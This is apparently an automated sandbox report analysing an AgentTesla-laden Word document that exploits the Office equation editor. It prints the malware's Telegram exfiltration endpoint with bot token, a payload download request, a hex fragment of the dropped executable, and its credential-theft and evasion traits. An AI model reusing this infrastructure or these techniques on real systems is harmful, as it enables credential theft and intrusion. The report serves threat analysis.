Windows Analysis Report Purchase Order_0131021.doc

Overview

General Information

Sample Name: Purchase Order_0131021.doc
Analysis ID: 502700
MD5: fc66be4a9696798aff0be8ed97bd294f
SHA1: cf158b670ec831531a233d41872d1a9ee3850ff1
SHA256: 8ad456fc82b1c617f362b0356e6273ca6952368d3478f3f11c55e7c968158a15
Tags: doc
Infos:

Most interesting Screenshot:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Yara detected Telegram RAT
Yara detected AgentTesla
Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Uses the Telegram API (likely for C&C communication)
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Binary or sample is protected by dotNetProtector
Injects a PE file into a foreign processes
Office equation editor drops PE file
.NET source code contains very large array initializations
Machine Learning detection for dropped file
Tries to steal Mail credentials (via file access)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Stores large binary data to the registry
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Downloads executable code via HTTP
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Checks if the current process is being debugged
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection:

barindex
Found malware configuration
Source: 5.2.gudostrp.exe.400000.1.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Chat id": "1366706404", "Chat URL": "https://api.telegram.org/bot2034238293:AAHoBUVeqtv7yJIYVLFYq5RA0AnxpaTX22s/sendDocument"}
Source: gudostrp.exe.2576.5.memstrmin Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot2034238293:AAHoBUVeqtv7yJIYVLFYq5RA0AnxpaTX22s/sendMessage"}
Multi AV Scanner detection for submitted file
Source: Purchase Order_0131021.doc Virustotal: Detection: 36% Perma Link
Source: Purchase Order_0131021.doc ReversingLabs: Detection: 35%
Antivirus detection for URL or domain
Source: http://palangavra.lt/jukiestay/gufoxqa.exe Avira URL Cloud: Label: malware
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\gufoxqa[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Joe Sandbox ML: detected

Exploits:

barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\gudostrp.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\gudostrp.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49169 version: TLS 1.2

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: palangavra.lt
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 144.76.47.167:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 149.154.167.220:443

Networking:

barindex
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Source: unknown DNS query: name: api.telegram.org
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /bot2034238293:AAHoBUVeqtv7yJIYVLFYq5RA0AnxpaTX22s/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8d98f225cfe8da2Host: api.telegram.orgContent-Length: 1018Expect: 100-continueConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 14 Oct 2021 08:22:59 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveLast-Modified: Thu, 14 Oct 2021 01:10:12 GMTAccept-Ranges: bytesContent-Length: 486912Keep-Alive: timeout=5, max=100Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 bf 82 67 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 56 07 00 00 16 00 00 00 00 00 00 3e 74 07 00 00 20 00 00 00 80 07 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 07 00 00 02 00 00 a4 e7 07 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e8 73 07 00 53 00 00 00 00 80 07 00 d4 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 07 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 54 07 00 00 20 00 00 00 56 07 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d4 13 00 00 00 80 07 00 00 14 00 00 00 58 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 07 00 00 02 00 00 00 6c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 74 07 00 00 00 00 00 48 00 00 00 02 00 05 00 90 a8 06 00 58 cb 00 00 02 00 00 00 5c 00 00 06 b0 45 03 00 df 62 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 76 61 6e 20 4d 65 64 76 65 64 65 76 00 00 00 32 7e 27 00 00 04 02 28 c0 00 00 06 2a 1e 02 28 a0 00 00 0a 2a 32 7e 35 00 00 04 02 28 0d 01 00 06 2a 1e 02 7b a0 00 00 04 2a 22 02 03 7d a0 00 00 04 2a 1e 02 7b a1 00 00 04 2a 22 02 03 7d a1 00 00 04 2a 1e 02 7b a2 00 00 04 2a 22 02 03 7d a2 00 00 04 2a 52 7e 3b 00 00 04 03 28 08 01 00 06 02 7b a3 00 00 04 fe 01 2a 1e 02 7b a4 00 00 04 2a 22 02 03 7d a4 00 00 04 2a 1e 02 7b a5 00 00 04 2a 22 02 03 7d a5 00 00 04 2a 1e 02 7b a6 00 00 04 2a 22 02 03 7d a6 00 00 04 2a 9a 7e 3e 00 00 04 7e 3c 00 00 04 02 28 0d 01 00 06 72 f3 45 00 70 7e 3d 00 00 04 02 28 0d 01 00 06 28 13 01 00 06 2a 1e 02 7b a7 00 00 04 2a 22 02 03 7d a7 00 00 04 2a 1e 02 7b a8 00 00 04 2a 22 02 03 7d a8 00 00 04 2a 4e 02 28 a0 00 00 0a 7e 3f 00 00 04 02 03 28 00 01 00 06 2a 1e 02 7b a9 00 00 04 2a 22 02 03 7d a9 00 00 04 2a ea 7e 3e 00 00 04 7e 40 00 00 04 02 28 0d 01 00 06 72 f7 45 00 70 7e 42 00 00 04
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /jukiestay/gufoxqa.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: palangavra.ltConnection: Keep-Alive
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown Network traffic detected: HTTP traffic on port 49169 -> 443
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: gudostrp.exe, 00000005.00000002.722261474.00000000022B1000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: gudostrp.exe, 00000005.00000002.722261474.00000000022B1000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: gudostrp.exe, 00000005.00000002.722361543.000000000238D000.00000004.00000001.sdmp String found in binary or memory: http://SwonTwAJYn3XCAV3.net
Source: gudostrp.exe, 00000005.00000002.722444907.00000000023FF000.00000004.00000001.sdmp String found in binary or memory: http://api.telegram.org
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: gudostrp.exe, 00000005.00000002.723083857.00000000060F3000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: gudostrp.exe, 00000005.00000002.722766905.0000000005CF0000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: gudostrp.exe, 00000005.00000002.722427631.00000000023EC000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: gudostrp.exe, 00000005.00000002.722766905.0000000005CF0000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: gudostrp.exe, 00000005.00000002.722261474.00000000022B1000.00000004.00000001.sdmp String found in binary or memory: http://yBlQIu.com
Source: gudostrp.exe, 00000005.00000002.722427631.00000000023EC000.00000004.00000001.sdmp String found in binary or memory: https://api.telegram.org
Source: gudostrp.exe, 00000004.00000002.464298353.00000000031C9000.00000004.00000001.sdmp, gudostrp.exe, 00000005.00000002.721925198.0000000000402000.00000040.00000001.sdmp String found in binary or memory: https://api.telegram.org/bot2034238293:AAHoBUVeqtv7yJIYVLFYq5RA0AnxpaTX22s/
Source: gudostrp.exe, 00000005.00000002.722105371.0000000000788000.00000004.00000020.sdmp, gudostrp.exe, 00000005.00000002.722427631.00000000023EC000.00000004.00000001.sdmp String found in binary or memory: https://api.telegram.org/bot2034238293:AAHoBUVeqtv7yJIYVLFYq5RA0AnxpaTX22s/sendDocument
Source: gudostrp.exe, 00000005.00000002.722261474.00000000022B1000.00000004.00000001.sdmp String found in binary or memory: https://api.telegram.org/bot2034238293:AAHoBUVeqtv7yJIYVLFYq5RA0AnxpaTX22s/sendDocumentdocument-----
Source: gudostrp.exe, 00000005.00000002.722427631.00000000023EC000.00000004.00000001.sdmp String found in binary or memory: https://api.telegram.orgP
Source: gudostrp.exe, 00000005.00000002.723097991.000000000611D000.00000004.00000001.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: gudostrp.exe, 00000004.00000002.464298353.00000000031C9000.00000004.00000001.sdmp, gudostrp.exe, 00000005.00000002.721925198.0000000000402000.00000040.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: gudostrp.exe, 00000005.00000002.722261474.00000000022B1000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown HTTP traffic detected: POST /bot2034238293:AAHoBUVeqtv7yJIYVLFYq5RA0AnxpaTX22s/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8d98f225cfe8da2Host: api.telegram.orgContent-Length: 1018Expect: 100-continueConnection: Keep-Alive
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FF3D13C6-F9AF-46D5-857E-918FB2A2DE9E}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: palangavra.lt
Source: global traffic HTTP traffic detected: GET /jukiestay/gufoxqa.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: palangavra.ltConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49169 version: TLS 1.2

System Summary:

barindex
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\gudostrp.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\gufoxqa[1].exe Jump to dropped file
.NET source code contains very large array initializations
Source: 5.2.gudostrp.exe.400000.1.unpack, u003cPrivateImplementationDetailsu003eu007bCB2C1C74u002d7A68u002d46F5u002dB599u002d45991AE15A88u007d/A406E5E7u002dDEBAu002d4106u002dAAAEu002dB593294D8F00.cs Large array initialization: .cctor: array initializer size 12005
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_0030348D 4_2_0030348D
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_00308ED7 4_2_00308ED7
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_00721D30 4_2_00721D30
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FA5EA8 4_2_01FA5EA8
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FA0006 4_2_01FA0006
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FB0048 4_2_01FB0048
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FB5720 4_2_01FB5720
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FC0048 4_2_01FC0048
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FC5620 4_2_01FC5620
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FC929C 4_2_01FC929C
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FD0048 4_2_01FD0048
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FD90FD 4_2_01FD90FD
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FD5908 4_2_01FD5908
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FD0006 4_2_01FD0006
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_02025CE8 4_2_02025CE8
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_020319A2 4_2_020319A2
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_041D0048 4_2_041D0048
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_041DE168 4_2_041DE168
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_0030364F 4_2_0030364F
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FB0006 4_2_01FB0006
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_00256048 5_2_00256048
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_0025F2B8 5_2_0025F2B8
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_00255430 5_2_00255430
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_0025D458 5_2_0025D458
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_00255778 5_2_00255778
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_0025AF40 5_2_0025AF40
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_00252197 5_2_00252197
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_00559C40 5_2_00559C40
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_005502F1 5_2_005502F1
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_005537E8 5_2_005537E8
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_00556E48 5_2_00556E48
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_00559468 5_2_00559468
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_0055B520 5_2_0055B520
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_00553F9D 5_2_00553F9D
Contains functionality to launch a process as a different user
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_00726CD0 CreateProcessAsUserW, 4_2_00726CD0
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: Purchase Order_0131021.doc Virustotal: Detection: 36%
Source: Purchase Order_0131021.doc ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\gudostrp.exe C:\Users\user\AppData\Roaming\gudostrp.exe
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process created: C:\Users\user\AppData\Roaming\gudostrp.exe C:\Users\user\AppData\Roaming\gudostrp.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\gudostrp.exe C:\Users\user\AppData\Roaming\gudostrp.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process created: C:\Users\user\AppData\Roaming\gudostrp.exe C:\Users\user\AppData\Roaming\gudostrp.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32 Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\gudostrp.exe WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\gudostrp.exe WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$rchase Order_0131021.doc Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRD1AF.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winDOC@6/9@3/2
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: gudostrp.exe.2.dr, PointerToRelocations.cs Base64 encoded string: 'KknRp7HQQvHHBtyvGqKkQPgwSxrDZccPIvljRo+32rU6dcfrjjwlA+/74UKQkI50', 'n/ZGPw0Rnde/5vrFGQTkY8FPHDUw84v1zRXhcoRNVdfo4NG1a//9Q6xctd3zCMeG', '+eXUcThFekX3G8Ul+iy8PTjd4CCEEvw/RRULKiZzJHE1VD6vEOtFO57C82jzLkjj', 'gRfomnjmScAnaVNNcbO4XwmlyiUUrURhk8amHDtWGGhvEx0K1vQimNrPR2fO3ekH'
Source: gufoxqa[1].exe.2.dr, PointerToRelocations.cs Base64 encoded string: 'KknRp7HQQvHHBtyvGqKkQPgwSxrDZccPIvljRo+32rU6dcfrjjwlA+/74UKQkI50', 'n/ZGPw0Rnde/5vrFGQTkY8FPHDUw84v1zRXhcoRNVdfo4NG1a//9Q6xctd3zCMeG', '+eXUcThFekX3G8Ul+iy8PTjd4CCEEvw/RRULKiZzJHE1VD6vEOtFO57C82jzLkjj', 'gRfomnjmScAnaVNNcbO4XwmlyiUUrURhk8amHDtWGGhvEx0K1vQimNrPR2fO3ekH'
Source: 4.0.gudostrp.exe.1d0000.0.unpack, PointerToRelocations.cs Base64 encoded string: 'KknRp7HQQvHHBtyvGqKkQPgwSxrDZccPIvljRo+32rU6dcfrjjwlA+/74UKQkI50', 'n/ZGPw0Rnde/5vrFGQTkY8FPHDUw84v1zRXhcoRNVdfo4NG1a//9Q6xctd3zCMeG', '+eXUcThFekX3G8Ul+iy8PTjd4CCEEvw/RRULKiZzJHE1VD6vEOtFO57C82jzLkjj', 'gRfomnjmScAnaVNNcbO4XwmlyiUUrURhk8amHDtWGGhvEx0K1vQimNrPR2fO3ekH'
Source: 4.2.gudostrp.exe.1d0000.0.unpack, PointerToRelocations.cs Base64 encoded string: 'KknRp7HQQvHHBtyvGqKkQPgwSxrDZccPIvljRo+32rU6dcfrjjwlA+/74UKQkI50', 'n/ZGPw0Rnde/5vrFGQTkY8FPHDUw84v1zRXhcoRNVdfo4NG1a//9Q6xctd3zCMeG', '+eXUcThFekX3G8Ul+iy8PTjd4CCEEvw/RRULKiZzJHE1VD6vEOtFO57C82jzLkjj', 'gRfomnjmScAnaVNNcbO4XwmlyiUUrURhk8amHDtWGGhvEx0K1vQimNrPR2fO3ekH'
Source: 5.2.gudostrp.exe.1d0000.0.unpack, PointerToRelocations.cs Base64 encoded string: 'KknRp7HQQvHHBtyvGqKkQPgwSxrDZccPIvljRo+32rU6dcfrjjwlA+/74UKQkI50', 'n/ZGPw0Rnde/5vrFGQTkY8FPHDUw84v1zRXhcoRNVdfo4NG1a//9Q6xctd3zCMeG', '+eXUcThFekX3G8Ul+iy8PTjd4CCEEvw/RRULKiZzJHE1VD6vEOtFO57C82jzLkjj', 'gRfomnjmScAnaVNNcbO4XwmlyiUUrURhk8amHDtWGGhvEx0K1vQimNrPR2fO3ekH'
Source: 5.0.gudostrp.exe.1d0000.0.unpack, PointerToRelocations.cs Base64 encoded string: 'KknRp7HQQvHHBtyvGqKkQPgwSxrDZccPIvljRo+32rU6dcfrjjwlA+/74UKQkI50', 'n/ZGPw0Rnde/5vrFGQTkY8FPHDUw84v1zRXhcoRNVdfo4NG1a//9Q6xctd3zCMeG', '+eXUcThFekX3G8Ul+iy8PTjd4CCEEvw/RRULKiZzJHE1VD6vEOtFO57C82jzLkjj', 'gRfomnjmScAnaVNNcbO4XwmlyiUUrURhk8amHDtWGGhvEx0K1vQimNrPR2fO3ekH'
Source: 5.2.gudostrp.exe.400000.1.unpack, A/b2.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 5.2.gudostrp.exe.400000.1.unpack, A/b2.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\gudostrp.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Data Obfuscation:

barindex
Binary or sample is protected by dotNetProtector
Source: gudostrp.exe String found in binary or memory: dotNetProtector
